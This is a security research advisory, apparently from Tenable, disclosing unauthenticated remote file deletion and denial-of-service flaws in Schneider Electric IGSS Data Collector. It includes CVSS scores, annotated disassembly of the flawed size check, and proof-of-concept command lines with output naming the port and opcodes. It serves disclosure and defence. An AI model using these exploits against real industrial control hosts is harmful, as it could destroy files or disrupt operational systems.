← View More Research Advisories

Synopsis

While researching ICSA-21-285-03 for Nessus plugin coverage, Tenable found multiple vulnerabilities in Schneider Electric IGSS Data Collector (dc.exe) v15.0.0.21301.

Unauthenticated Remote File Deletion

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L (6.5)

The IGSS Data Collector (dc.exe) does not check the user-supplied file to be deleted when handling opcode 60. An unauthenticated remote attacker knowing the IGSS project directory can exploit this to delete arbitrary files on the dc.exe host under the security context of the user account running dc.exe.

POC:

python3 igss_dc_opcode_60_file_deletion.py -t <target> -p 12397 -f 'C:\tmp\delete_me.txt' -d 'C:\ProgramData\Schneider Electric\IGSS32\V15.0\GssDemo\'
Using IGSS project directory C:\ProgramData\Schneider Electric\IGSS32\V15.0\GssDemo\

This script attempts to delete C:\tmp\delete_me.txt on the remote target host
provided the specified project directory is correct for the remote IGSS.
If the specified project directory is incorrect, file deletion will fail.
Please save a copy of the file and ensure a correct IGSS project directory
before continuing the script.

Press c/C to continue or any other key(s) to quit: c
Sending a specially crafted message
Please check if C:\tmp\delete_me.txt has been deleted on the target host

Unauthenticated Remote DoS

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H (5.9)

The IGSS Data Collector (dc.exe) does not properly check the user-supplied size of compressed data when handling opcode 101. dc.exe does a signed integer comparison for the check. A negative size will pass the check but that size will be treated as a very large positive integer later when it's passed to memcpy():

dc.exe v15.0.0.21301
<...snip...>
.text:0047EE69    mov     ecx, [eax+1Ch] ; attacker-controlled size
.text:0047EE6C    mov     [ebp+DataSize], ecx
.text:0047EE72    mov     edx, [ebp+var_2D8]
.text:0047EE78    mov     eax, [edx]
.text:0047EE7A    add     eax, [ebp+DataSize]
.text:0047EE80    cmp     eax, 7534h
.text:0047EE85 signed int comparison
.text:0047EE85 0xffffffff (-1) would pass the size check
.text:0047EE85    jle     short ok_47EEF1 ; attacker-controlled size
.text:0047EE85                          ; (i.e., 0xffffffff)
<...snip...>
.text:0047EEF1 ok_47EEF1:               ; CODE XREF: sn_receive_file+225↑j
.text:0047EEF1    mov     edx, [ebp+DataSize] ; attacker-controlled size
.text:0047EEF1                          ; (i.e., 0xffffffff)
.text:0047EEF7    push    edx           ; Size
.text:0047EEF8    mov     eax, [ebp+arg_0]
.text:0047EEFB    add     eax, 20h ; ' '
.text:0047EEFE    push    eax           ; Src
.text:0047EEFF    mov     ecx, [ebp+var_2D8]
.text:0047EF05    mov     edx, [ecx+14h]
.text:0047EF08    mov     eax, [ebp+var_2D8]
.text:0047EF0E    add     edx, [eax]
.text:0047EF10    push    edx           ; void *
.text:0047EF11    call    memcpy
<...snip...>

An unauthenticated remote attacker knowing the IGSS project directory can exploit this to crash dc.exe, which restarts.

POC:

python3 igss_dc_opcode_101_dos.py -t <target> -p 12397 -d 'C:\ProgramData\Schneider Electric\IGSS32\V15.0\GssDemo\'
Using IGSS project directory C:\ProgramData\Schneider Electric\IGSS32\V15.0\GssDemo\

Note that if the specified project directory is incorrect
dc.exe will not be terminated.
